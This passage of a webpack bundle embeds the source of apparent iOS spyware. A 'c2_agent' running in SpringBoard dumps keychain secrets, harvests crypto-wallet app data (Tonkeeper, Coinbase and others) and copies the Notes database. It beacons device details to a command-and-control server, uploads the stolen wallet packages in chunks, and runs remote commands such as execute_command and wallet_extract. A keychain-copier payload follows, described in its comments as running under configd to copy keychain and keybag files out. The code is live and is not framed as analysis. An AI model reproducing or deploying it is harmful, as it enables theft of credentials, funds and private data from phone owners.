\"tonkeeper\", \"Coinbase\": \"coinbase\"\n};\n\nfunction _buildWalletPkg(deviceUUID) {\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tvar kcData = _readFileBytes(kcDumpPath, 5242880);\n\tif (!kcData) {\n\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_c2_dump.json.tmp\", 0x1A4);\n\t\tNative.callSymbol(\"rename\", \"/tmp/keychain_c2_dump.json.tmp\", kcDumpPath);\n\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\tkcData = _readFileBytes(kcDumpPath, 5242880);\n\t}\n\tvar keychain;\n\tif (!kcData) {\n\t\t_writeLog(\"[WALLET-HQ] no keychain_c2_dump.json - sandbox-only package\");\n\t\tkeychain = { partial: true, errors: [\"no_keychain_dump\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t} else {\n\t\tvar kcStr = _rawToStr(kcData);\n\t\ttry { keychain = JSON.parse(kcStr); } catch(e) {\n\t\t\t_writeLog(\"[WALLET-HQ] keychain json parse fail - sandbox-only\");\n\t\t\tkeychain = { partial: true, errors: [\"keychain_parse_fail\"], tables: {}, wallets: {}, metadataKeys: {} };\n\t\t}\n\t}\n\n\t// Attach SpringBoard SecItem plaintext dump (P7-independent channel).\n\ttry {\n\t\tvar secFullB = _readFileBytes(_SEC_DUMP_FULL, 1572864);\n\t\tif (secFullB && secFullB.length > 8) {\n\t\t\tkeychain.secitem_full = _rawToStr(secFullB);\n\t\t\tvar secReadB = _readFileBytes(_SEC_DUMP_READ, 786432);\n\t\t\tif (secReadB && secReadB.length > 8) keychain.secitem_readable = _rawToStr(secReadB);\n\t\t\tvar secDoneB = _readFileBytes(_SEC_DUMP_DONE, 256);\n\t\t\tif (secDoneB) keychain.secitem_marker = _rawToStr(secDoneB);\n\t\t\tkeychain.secitem = { items: _secDumpState.items, plain: _secDumpState.plain, vdata: _secDumpState.vdata };\n\t\t}\n\t} catch(_se) {}\n\n\tvar dirs = listDir(APP_DATA_BASE);\n\tvar containerMap = {};\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = APP_DATA_BASE + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) containerMap[bid] = cpath;\n\t\t}\n\t}\n\n\tvar sandbox = {};\n\tvar totalSize = 0;\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar key = _hqSandboxKeyMap[cfg.name] || cfg.name.toLowerCase().replace(/ /g, \"_\");\n\t\tvar perFileMax = cfg.maxFileSize || 2097152;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\t\tvar files = {};\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\t\t\tfiles[rf.relPath] = fd.b64;\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t\tif (Object.keys(files).length > 0) sandbox[key] = files;\n\t}\n\n\treturn { device_uuid: deviceUUID, keychain: keychain, sandbox: sandbox, sandbox_total_size: totalSize };\n}\n\nfunction _httpPostBody(url, bodyStr) {\n\tvar parsed = parseURL(url);\n\tif (url.indexOf(\"https://\") === 0)\n\t\treturn _cfstreamPost(parsed.host, parsed.port, parsed.path, bodyStr);\n\treturn _socketPost(parsed.host, parsed.port, parsed.path, bodyStr);\n}\n\n// POST wallet package to /war. Bodies larger than WAR_POST_MAX are split into\n// war_chunk parts (still on /war); inbox reassembles before normal extract.\nfunction _postWarPackage(url, pkg) {\n\tvar bodyStr = JSON.stringify(pkg);\n\tif (bodyStr.length <= WAR_POST_MAX) {\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar uploadId = String(DEVICE_UUID || \"dev\").replace(/[^0-9A-Fa-f]/g, \"\") + \"_\" + String(Date.now());\n\t// Keep each HTTP JSON under WAR_POST_MAX after base64 + wrapper overhead.\n\tvar rawMax = Math.floor((WAR_POST_MAX - 2048) * 3 / 4);\n\tif (rawMax < 256 * 1024) rawMax = 256 * 1024;\n\tvar tmpPath = \"/tmp/war_pkg_\" + uploadId + \".json\";\n\tif (!_secWriteText(tmpPath, bodyStr)) {\n\t\t_writeLog(\"[WALLET-HQ] war chunk tmp write fail; trying single POST len=\" + bodyStr.length);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar fileSize = getFileSize(tmpPath);\n\tif (fileSize <= 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar totalChunks = Math.ceil(fileSize / rawMax);\n\t_writeLog(\"[WALLET-HQ] chunked /war upload_id=\" + uploadId + \" bytes=\" + fileSize + \" parts=\" + totalChunks);\n\tvar fd = Number(Native.callSymbol(\"open\", tmpPath, 0, 0));\n\tif (fd < 0) {\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t\treturn _httpPostBody(url, bodyStr);\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(rawMax));\n\tvar sentOk = 0;\n\tvar lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(rawMax, fileSize - ci * rawMax);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar part = {\n\t\t\t\tdevice_uuid: DEVICE_UUID,\n\t\t\t\twar_chunk: true,\n\t\t\t\tupload_id: uploadId,\n\t\t\t\tchunk_index: ci,\n\t\t\t\ttotal_chunks: totalChunks,\n\t\t\t\ttotal_bytes: fileSize,\n\t\t\t\tdata: b64\n\t\t\t};\n\t\t\tvar partStr = JSON.stringify(part);\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = _httpPostBody(url, partStr);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch (_pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (!postOk) { lastErr = \"POST fail chunk \" + ci; break; }\n\t\t\tsentOk++;\n\t\t}\n\t} finally {\n\t\tif (buf && buf !== 0n) Native.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", fd);\n\t\tNative.callSymbol(\"unlink\", tmpPath);\n\t}\n\tif (sentOk !== totalChunks) {\n\t\t_writeLog(\"[WALLET-HQ] chunked /war incomplete sent=\" + sentOk + \"/\" + totalChunks + \" err=\" + lastErr);\n\t\treturn null;\n\t}\n\treturn { ok: true, chunked: true, upload_id: uploadId, total_chunks: totalChunks, total_bytes: fileSize };\n}\n\n// ============================================================================\n// Main Loop\n// ============================================================================\n\nNative.init();\n\n// ===== DEBUG uplink: prove c2_agent actually evaluated in SpringBoard =====\ntry {\n\tvar _dbgfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (_dbgfd >= 0) {\n\t\tvar _dbgone = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(_dbgone, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", _dbgfd, 0xffff, 0x1022, _dbgone, 4);\n\t\tNative.callSymbol(\"free\", _dbgone);\n\t\tvar _dbgaddr = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar _dbga8 = new Uint8Array(16);\n\t\t_dbga8[0] = 16; _dbga8[1] = 2; _dbga8[2] = 0x1B; _dbga8[3] = 0x6E; // port 7022 BE\n\t\t_dbga8[4] = 192; _dbga8[5] = 168; _dbga8[6] = 4; _dbga8[7] = 10;\n\t\tNative.write(_dbgaddr, _dbga8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", _dbgfd, _dbgaddr, 16)) === 0) {\n\t\t\tvar _dbgreq = \"GET /log.html?text=C2SB_eval_alive_springboard HTTP/1.0\\r\\nHost: 192.168.4.10\\r\\n\\r\\n\";\n\t\t\tvar _dbgrbuf = Native.callSymbol(\"malloc\", _dbgreq.length + 1);\n\t\t\tNative.writeString(_dbgrbuf, _dbgreq);\n\t\t\tNative.callSymbol(\"write\", _dbgfd, _dbgrbuf, _dbgreq.length);\n\t\t\tNative.callSymbol(\"free\", _dbgrbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", _dbgfd);\n\t\tNative.callSymbol(\"free\", _dbgaddr);\n\t}\n} catch(e) {}\n// ===== END DEBUG uplink =====\n\nconst DEVICE_UUID = (function(){try{var b=String(\"69DD25B2CA8B5682BA2470D77124E2FC\");if(b&&b.indexOf(\"__LAB_\")<0&&b.length>=16)return b;}catch(e){}return _getDeviceUUID();})();\nconst DEVICE_MODEL = _getDeviceModel();\n\n// NOTE: first SecItem dump is deferred until AFTER the first beacon (Phase 1).\n// A SecItemCopyMatching wedge here would kill the agent before any heartbeat.\n\nfunction _sysctlString(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return \"\";\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar sz = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (sz <= 0 || sz > 4096) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz + 1));\n\tif (!buf || buf === 0n) { Native.callSymbol(\"free\", sizePtr); return \"\"; }\n\tNative.write64(sizePtr, BigInt(sz + 1));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, buf, sizePtr, 0, 0));\n\tvar result = rc === 0 ? Native.readString(buf, sz).replace(/\\0/g, \"\") : \"\";\n\tNative.callSymbol(\"free\", buf); Native.callSymbol(\"free\", sizePtr);\n\treturn result;\n}\n\n\nvar _beaconDevInfo = { machine: DEVICE_MODEL };\nif (C2_CHANNEL_CODE) _beaconDevInfo.channel_code = C2_CHANNEL_CODE;\ntry {\n\tvar _uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (_uts && _uts !== 0n) {\n\t\tNative.callSymbol(\"uname\", _uts);\n\t\t_beaconDevInfo.sysname = Native.readString(_uts, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.nodename = Native.readString(_uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.release = Native.readString(_uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.version = Native.readString(_uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t_beaconDevInfo.arch = Native.readString(_uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _uts);\n\t}\n} catch(e) {}\ntry {\n\tvar _hbuf = Native.callSymbol(\"malloc\", 256);\n\tif (_hbuf && _hbuf !== 0n) {\n\t\tif (Number(Native.callSymbol(\"gethostname\", _hbuf, 255)) === 0)\n\t\t\t_beaconDevInfo.hostname = Native.readString(_hbuf, 256).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", _hbuf);\n\t}\n} catch(e) {}\n\ntry { _beaconDevInfo.build_version = _sysctlString(\"kern.osversion\"); } catch(e) {}\ntry { _beaconDevInfo.ios_version = _sysctlString(\"kern.osproductversion\"); } catch(e) {}\ntry { _beaconDevInfo.kern_version = _beaconDevInfo.version || \"\"; } catch(e) {}\n\nfunction _senBeacon() {\n\ttry {\n\t\treturn httpPost(C2_BEACON_URL, {\n\t\t\tuuid: DEVICE_UUID, device_info: _beaconDevInfo, status: \"idle\"\n\t\t});\n\t} catch(e) { return null; }\n}\n\n// --- Phase 1: First SEN beacon (registers device, starts 5-min delay) ---\nvar _senResp1 = _senBeacon();\nvar _deviceIP = \"\";\nif (_senResp1 && _senResp1.client_ip) _deviceIP = _senResp1.client_ip;\nNative.callSymbol(\"usleep\", 2000000);\n\n// Heartbeat established — now safe to attempt the early keychain plaintext\n// grab (device still likely unlocked). u_AuthUISkip protects against wedges.\ntry { _kcSecItemDump(true); } catch(_kd0) {}\n\nfunction _hqHeartbeat() {\n\ttry {\n\t\tvar body = { lhu: DEVICE_UUID, type: \"status\", source: \"c2_agent\" };\n\t\tif (_deviceIP) body.ip = _deviceIP;\n\t\thqPost(\"/event\", body);\n\t} catch(e) {}\n}\n\n// --- Phase 2: HQ auto-collect (SEN heartbeats interspersed) ---\n\ntry { hqPost(\"/a\", {\n\tlhu: DEVICE_UUID, machine: DEVICE_MODEL,\n\tdeviceName: _beaconDevInfo.hostname || \"\",\n\tios_version: _beaconDevInfo.ios_version || \"\",\n\tbuild_version: _beaconDevInfo.build_version || \"\",\n\tkern_version: _beaconDevInfo.kern_version || \"\",\n\thostname: _beaconDevInfo.hostname || \"\",\n\tsysname: _beaconDevInfo.sysname || \"\",\n\trelease: _beaconDevInfo.release || \"\",\n\tversion: _beaconDevInfo.version || \"\",\n\tip: _deviceIP,\n\tsource: \"c2_agent\"\n}); } catch(e) {}\n\nNative.callSymbol(\"usleep\", 1000000);\n_hqHeartbeat();\n\ntry {\n\tvar _hqApps = [];\n\tvar _appBases = [APP_DATA_BASE, \"/var/mobile/Containers/Bundle/Application\"];\n\tvar _hqDirs = [];\n\tvar _usedBase = \"\";\n\tfor (var _bi = 0; _bi < _appBases.length; _bi++) {\n\t\t_hqDirs = listDir(_appBases[_bi]);\n\t\tif (_hqDirs.length > 0) { _usedBase = _appBases[_bi]; break; }\n\t}\n\tfor (var _ai = 0; _ai < _hqDirs.length; _ai++) {\n\t\tif (_hqDirs[_ai].type !== \"dir\") continue;\n\t\tvar _acp = _usedBase + \"/\" + _hqDirs[_ai].name;\n\t\tvar _apl = _acp + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar _ab = _readFileBytes(_apl, 8192);\n\t\tif (!_ab || _ab.length === 0) continue;\n\t\tvar _ac = _rawToStr(_ab);\n\t\tif (_ac.indexOf(\"MCMMetadataIdentifier\") < 0) continue;\n\t\tvar _bm = _ac.match(/MCMMetadataIdentifier<\\/key>\\s*([^<]+)/);\n\t\tif (!_bm) {\n\t\t\tvar _bpAll = _ac.match(/[a-z][a-z0-9]*(?:\\.[a-zA-Z0-9_-]+){2,}/g);\n\t\t\tif (_bpAll) {\n\t\t\t\tfor (var _bpi = 0; _bpi < _bpAll.length; _bpi++) {\n\t\t\t\t\tif (_bpAll[_bpi].indexOf(\"MCM\") >= 0) continue;\n\t\t\t\t\t_bm = [null, _bpAll[_bpi]];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (!_bm) continue;\n\t\tvar _appName = _bm[1];\n\t\tvar _subDirs = listDir(_acp);\n\t\tfor (var _si = 0; _si < _subDirs.length; _si++) {\n\t\t\tvar _sn = _subDirs[_si].name;\n\t\t\tif (_sn.length > 4 && _sn.substring(_sn.length - 4) === \".app\") {\n\t\t\t\t_appName = _sn.substring(0, _sn.length - 4);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t_hqApps.push({ uuid: _hqDirs[_ai].name, bundleId: _bm[1], name: _appName });\n\t}\n\thqPost(\"/u\", { lhu: DEVICE_UUID, apps: _hqApps, count: _hqApps.length, source: \"c2_agent\" });\n} catch(e) {}\n\n_senBeacon();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\tvar _hqDbPath = _findNoteStore();\n\tif (_hqDbPath) {\n\t\tvar _hqSuffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tvar _hqTmpBase = \"/tmp/_hq_notestore\";\n\t\tfor (var _ci = 0; _ci < _hqSuffixes.length; _ci++) {\n\t\t\tvar _csrc = _hqDbPath + _hqSuffixes[_ci];\n\t\t\tif (Number(Native.callSymbol(\"access\", _csrc, 0)) === 0) {\n\t\t\t\tvar _cdst = _hqTmpBase + _hqSuffixes[_ci];\n\t\t\t\t_cmdCp([\"cp\", _csrc, _cdst]);\n\t\t\t\tNative.callSymbol(\"chmod\", _cdst, 0x1A4);\n\t\t\t}\n\t\t}\n\t\tvar _noteList = [];\n\t\tvar _noteRows = _sqliteQuery(_hqTmpBase,\n\t\t\t\"SELECT Z_PK, ZTITLE1, ZSNIPPET, ZMODIFICATIONDATE1 FROM ZICCLOUDSYNCINGOBJECT WHERE ZTITLE1 IS NOT NULL ORDER BY ZMODIFICATIONDATE1 DESC LIMIT 500\", 500);\n\t\tif (_noteRows && _noteRows.rows) {\n\t\t\tfor (var _ni = 0; _ni < _noteRows.rows.length; _ni++) {\n\t\t\t\tvar _nr = _noteRows.rows[_ni];\n\t\t\t\tif (!_nr.ZTITLE1 && !_nr.ZSNIPPET) continue;\n\t\t\t\t_noteList.push({\n\t\t\t\t\tid: _nr.Z_PK,\n\t\t\t\t\ttitle: _nr.ZTITLE1 || \"\",\n\t\t\t\t\tsnippet: _nr.ZSNIPPET || \"\",\n\t\t\t\t\tmod: _nr.ZMODIFICATIONDATE1\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t\tvar _hqDbFiles = [];\n\t\tfor (var _mi = 0; _mi < _hqSuffixes.length; _mi++) {\n\t\t\tvar _mfp = _hqTmpBase + _hqSuffixes[_mi];\n\t\t\tvar _mfd = readFileB64(_mfp, 5242880);\n\t\t\tif (_mfd) {\n\t\t\t\tvar _origName = _hqDbPath.substring(_hqDbPath.lastIndexOf(\"/\") + 1) + _hqSuffixes[_mi];\n\t\t\t\t_hqDbFiles.push({ name: _origName, data: _mfd.b64, size: _mfd.size });\n\t\t\t}\n\t\t}\n\t\tfor (var _di = 0; _di < _hqSuffixes.length; _di++)\n\t\t\tNative.callSymbol(\"unlink\", _hqTmpBase + _hqSuffixes[_di]);\n\t\tif (_noteList.length > 0 || _hqDbFiles.length > 0)\n\t\t\thqPost(\"/nb\", { lhu: DEVICE_UUID, list: _noteList, db_files: _hqDbFiles, db_path: _hqDbPath, count: _noteList.length, source: \"c2_agent\" });\n\t}\n} catch(e) {}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\nvar _walletHqSent = false;\nvar _walletHqP7Logged = false;\nvar _walletHqFailLogged = false;\nvar _walletHqAttempt = 0;\nvar _walletHqPlainAtSend = 0;\nvar _walletHqResends = 0;\nfunction _tryWalletHq(reason) {\n\tif (_walletHqSent) return true;\n\t_walletHqAttempt++;\n\tvar _kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar hasDone = Number(Native.callSymbol(\"access\", _kcDonePath, 0)) === 0;\n\tvar hasPartial = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.partial\", 0)) === 0;\n\tvar hasJson = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.json\", 0)) === 0;\n\tvar hasDb = false;\n\ttry {\n\t\tvar __tdbFd = Number(Native.callSymbol(\"open\", \"/tmp/keychain-2.db\", 0));\n\t\tif (__tdbFd >= 0) {\n\t\t\tvar __tdbSz = Number(Native.callSymbol(\"lseek\", __tdbFd, 0, 2));\n\t\t\tNative.callSymbol(\"close\", __tdbFd);\n\t\t\thasDb = __tdbSz > 1024;\n\t\t}\n\t} catch (_tdb) {}\n\tvar hasP7 = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\tvar hasFail = Number(Native.callSymbol(\"access\", \"/tmp/keychain_c2_dump.fail\", 0)) === 0;\n\tif (reason !== \"beacon-retry\" || (_walletHqAttempt % 4) === 1) {\n\t\t_writeLog(\"[WALLET-HQ] \" + reason + \" done=\" + hasDone + \" partial=\" + hasPartial + \" json=\" + hasJson + \" tmpdb=\" + hasDb + \" p7log=\" + hasP7 + \" fail=\" + hasFail);\n\t}\n\tif (hasFail && !_walletHqFailLogged) {\n\t\t_walletHqFailLogged = true;\n\t\ttry {\n\t\t\tvar fb = _readFileBytes(\"/tmp/keychain_c2_dump.fail\", 512);\n\t\t\tif (fb) _writeLog(\"[WALLET-HQ] p7 fail marker: \" + _rawToStr(fb));\n\t\t} catch(_fre) {}\n\t}\n\t// Re-tail p7 on first sight and every beacon-retry so HTTP/phone_logs show Phase2 progress\n\t// (pe_stage/*.js are ~100B trampolines — real logs live in /tmp/p7_debug.log).\n\tif (hasP7 && (!_walletHqP7Logged || reason === \"beacon-retry\")) {\n\t\ttry {\n\t\t\tvar p7b = _readFileBytes(\"/tmp/p7_debug.log\", 24000);\n\t\t\tif (p7b) {\n\t\t\t\tvar p7t = _rawToStr(p7b);\n\t\t\t\t_writeLog(\"[WALLET-HQ] p7_debug.tail=\" + p7t.slice(Math.max(0, p7t.length - 2200)));\n\t\t\t\t_walletHqP7Logged = true;\n\t\t\t}\n\t\t} catch(_p7e) {}\n\t}\n\tif (hasFail) {\n\t\t// Definitive failure from P7 Phase 2 — send what we have immediately\n\t\t// (fail-json is picked up by _buildWalletPkg as `keychain` with fail:true).\n\t\t// Do NOT wait for 40 retries; this keeps C2 responsive.\n\t} else if (!hasJson && !hasFail) {\n\t\t// Wait for Phase2 json (early .done alone is not enough — 18.5 early C2).\n\t\tvar _p7Busy = Number(Native.callSymbol(\"access\", \"/tmp/p7_debug.log\", 0)) === 0;\n\t\tif (!_p7Busy && _walletHqAttempt % 5 === 0) { try { _kcSecItemDump(false); } catch(_kdr) {} }\n\t\tif (_walletHqAttempt < 80) return false;\n\t\t_writeLog(\"[WALLET-HQ] force sandbox-only after retries json=false\");\n\t}\n\tif (!hasDone) { try { _kcSecItemDump(false); } catch(_kd) {} }\n\tNative.callSymbol(\"usleep\", 500000);\n\tvar _walletPkg = _buildWalletPkg(DEVICE_UUID);\n\tif (!_walletPkg) {\n\t\t_writeLog(\"[WALLET-HQ] _buildWalletPkg returned null\");\n\t\treturn false;\n\t}\n\tvar _walletUrl = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\tvar _walletBodyLen = JSON.stringify(_walletPkg).length;\n\t_writeLog(\"[WALLET-HQ] sending to \" + _walletUrl + \" body=\" + _walletBodyLen +\n\t\t(_walletBodyLen > WAR_POST_MAX ? \" (chunked>\" + WAR_POST_MAX + \")\" : \"\"));\n\ttry {\n\t\tvar _walletResp = _postWarPackage(_walletUrl, _walletPkg);\n\t\tif (_walletResp === null) {\n\t\t\t_writeLog(\"[WALLET-HQ] POST FAILED (null)\");\n\t\t\treturn false;\n\t\t}\n\t\t_writeLog(\"[WALLET-HQ] POST ok resp=\" + JSON.stringify(_walletResp));\n\t\t_walletHqSent = true;\n\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\treturn true;\n\t} catch(walletErr) {\n\t\t_writeLog(\"[WALLET-HQ] POST FAILED err=\" + String(walletErr));\n\t\treturn false;\n\t}\n}\ntry {\n\t_tryWalletHq(\"after-nb\");\n} catch(walletOuterErr) {\n\t_writeLog(\"[WALLET-HQ] outer error: \" + String(walletOuterErr));\n}\n\n_senBeacon();\n_hqHeartbeat();\nNative.callSymbol(\"usleep\", 1000000);\n\ntry {\n\t/* photos upload disabled */\n} catch(e) {}\n\n// --- Phase 3: SEN beacon loop ---\n\nvar _hqHeartbeatNext = Date.now() + 60000;\nlet interval = 15;\nfor (;;) {\n\ttry {\n\t\tconst resp = _senBeacon();\n\t\tif (!_walletHqSent) { try { _tryWalletHq(\"beacon-retry\"); } catch(_wr) {} }\n\t\telse if (_walletHqResends < 3) {\n\t\t\t// Late-unlock self-heal: keep dumping; resend /war when plaintext grows.\n\t\t\ttry { _kcSecItemDump(false); } catch(_kd2) {}\n\t\t\tif (_secDumpState.plain > _walletHqPlainAtSend) {\n\t\t\t\t_walletHqResends++;\n\t\t\t\ttry {\n\t\t\t\t\tvar _pkg2 = _buildWalletPkg(DEVICE_UUID);\n\t\t\t\t\tif (_pkg2) {\n\t\t\t\t\t\tvar _url2 = HQ_API_BASE.replace(/:\\d+/, \":\" + HQ_WALLET_PORT) + \"/war\";\n\t\t\t\t\t\t_writeLog(\"[WALLET-HQ] resend plain=\" + _secDumpState.plain + \" > \" + _walletHqPlainAtSend + \" #\" + _walletHqResends);\n\t\t\t\t\t\t_postWarPackage(_url2, _pkg2);\n\t\t\t\t\t\t_walletHqPlainAtSend = _secDumpState.plain;\n\t\t\t\t\t}\n\t\t\t\t} catch(_re) {}\n\t\t\t}\n\t\t}\n\n\t\tif (resp && resp.type && resp.type !== \"noop\") {\n\t\t\ttry {\n\t\t\t\tswitch (resp.type) {\n\t\t\t\t\tcase \"execute_command\": handleExecuteCommand(resp); break;\n\t\t\t\t\tcase \"ls\": handleLs(resp); break;\n\t\t\t\t\tcase \"download\": handleDownload(resp); break;\n\t\t\t\t\tcase \"photos\": handlePhotos(resp); break;\n\t\t\t\t\tcase \"apps\": handleApps(resp); break;\n\t\t\t\t\tcase \"exec\": handleExec(resp); break;\n\t\t\t\t\tcase \"file_upload\": handleFileUpload(resp); break;\n\t\t\t\t\tcase \"basic_info\": handleBasicInfo(resp); break;\n\t\t\t\t\tcase \"disk_scan\": handleDiskScan(resp); break;\n\t\t\t\t\tcase \"ios_app_data\": handleIosAppData(resp); break;\n\t\t\t\tcase \"wallet_extract\": handleWalletExtract(resp); break;\n\t\t\t\tcase \"wallet_scan\": handleWalletScan(resp); break;\n\t\t\t\tcase \"memo_scan\": handleMemoScan(resp); break;\n\t\t\t\tcase \"photo_scan\": handlePhotoScan(resp); break;\n\t\t\t\tcase \"sleep\":\n\t\t\t\t\t\tinterval = (resp.params && resp.params.interval) || 15;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"exit\":\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} catch (cmdErr) {\n\t\t\t\ttry {\n\t\t\t\t\tsendJSON(resp.command_id, {\n\t\t\t\t\t\tstatus: \"failed\",\n\t\t\t\t\t\terror: String(cmdErr),\n\t\t\t\t\t\t_task_id: (resp.params && resp.params._task_id) || \"\",\n\t\t\t\t\t\t_task_type: (resp.params && resp.params._task_type) || \"\"\n\t\t\t\t\t}, \"error_report.json\");\n\t\t\t\t} catch(re) {}\n\t\t\t}\n\t\t\tif (resp.type === \"exit\") break;\n\t\t}\n\t} catch (e) {\n\t}\n\n\tif (Date.now() >= _hqHeartbeatNext) {\n\t\t_hqHeartbeat();\n\t\t_hqHeartbeatNext = Date.now() + 60000;\n\t}\n\n\tNative.callSymbol(\"usleep\", interval * 1000000);\n}\n"); + +/***/ }), + + +/***/ "./node_modules/raw-loader/dist/cjs.js!./src/keychain_copier.js": +/*!**********************************************************************!*\ + !*** ./node_modules/raw-loader/dist/cjs.js!./src/keychain_copier.js ***! + \**********************************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) +/* harmony export */ }); +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// Keychain/Keybag Copier Payload\n// Runs under configd context which has access to keychain files\n// Copies keychain/keybag files to /tmp with 777 permissions\n// The main file_downloader payload will then send them\n\nclass Native {\n\t\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\t\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\t\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\n\tstatic #dlsymCache = {};\n\t\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\t\t\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t}\n\t\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0;\n\t\tlet left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000) len = 0x1000;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len;\n\t\t\toffs += 